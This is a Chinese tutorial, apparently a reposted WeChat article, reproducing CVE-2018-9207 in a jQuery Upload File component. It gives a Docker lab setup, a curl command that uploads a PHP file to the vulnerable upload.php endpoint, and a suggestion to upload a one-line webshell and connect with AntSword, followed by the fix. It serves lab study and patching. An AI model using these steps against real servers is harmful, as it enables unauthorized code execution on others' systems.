教程 | CVE-2018-9207 jQuery文件上传漏洞复现

admin 2022年5月13日19:10:39评论662 views1字数 1002阅读3分20秒阅读模式

01

漏洞描述



jQuery file upload是一个文件上传小工具,包含多个文件选择,拖放支持,进度条,验证和预览图像,jQuery的音频和视频。支持跨域、分块和可恢复文件上传以及客户端图像大小调整。适用于任何服务器端平台——支持标准HTML表单文件上传(PHP,Python,Ruby on Rails,Java,Node.js,Go等)。

这个漏洞产生主要是因为jQuery-File-Upload的.htaccess文件会限制文件的上传和文件的执行,但是Apache的2.3.9版本中,Apache默认不再支持.htaccess了,而且默认是没有被开启的,所以导致攻击者可以任意上传脚本文件并执行。如果使用了另一种web容器的话(比如Nginx),那么基于.htaccess文件的保护则完全无效。


02

影响范围



jQuery Upload File <= 4.0.2


03

漏洞环境



Docker

docker pull vulfocus/jquery-cve_2018_9207:latestdocker run -d -p 8080:80 vulfocus/jquery-cve_2018_9207:latest


04

漏洞复现



首先准备好木马shell.php

<?php phpinfo(); ?>

访问环境:

http://ip:8080/jquery-upload-file/php/upload.php

需要我们传递参数,使用curl命令:
curl -F "myfile=@shell.php" "http://ip:8080/jquery-upload-file/php/upload.php"

教程 | CVE-2018-9207 jQuery文件上传漏洞复现

验证木马

教程 | CVE-2018-9207 jQuery文件上传漏洞复现

也可以上传一个一句话木马,再使用Antsword连接。


05

漏洞修复



更新jQuery file upload至最新版本

https://github.com/blueimp/jQuery-File-Upload


往期回顾

2022工信部《网络安全产业人才岗位能力要求》正式实施
教程 | CVE-2020-13384 Monstra文件上传漏洞复现
NISP认证 | 中国信息安全行业唯一面向在校大学生的权威证书
教程 | 手把手教你安装Windows Server 2008
工具分享 | dirsearch拒绝梭哈攻略


如有侵权,请联系删除。

教程 | CVE-2018-9207 jQuery文件上传漏洞复现

扫码关注我们

查看更多精彩内容




原文始发于微信公众号(长风实验室):教程 | CVE-2018-9207 jQuery文件上传漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日19:10:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   教程 | CVE-2018-9207 jQuery文件上传漏洞复现https://cn-sec.com/archives/1005715.html

发表评论

匿名网友 填写信息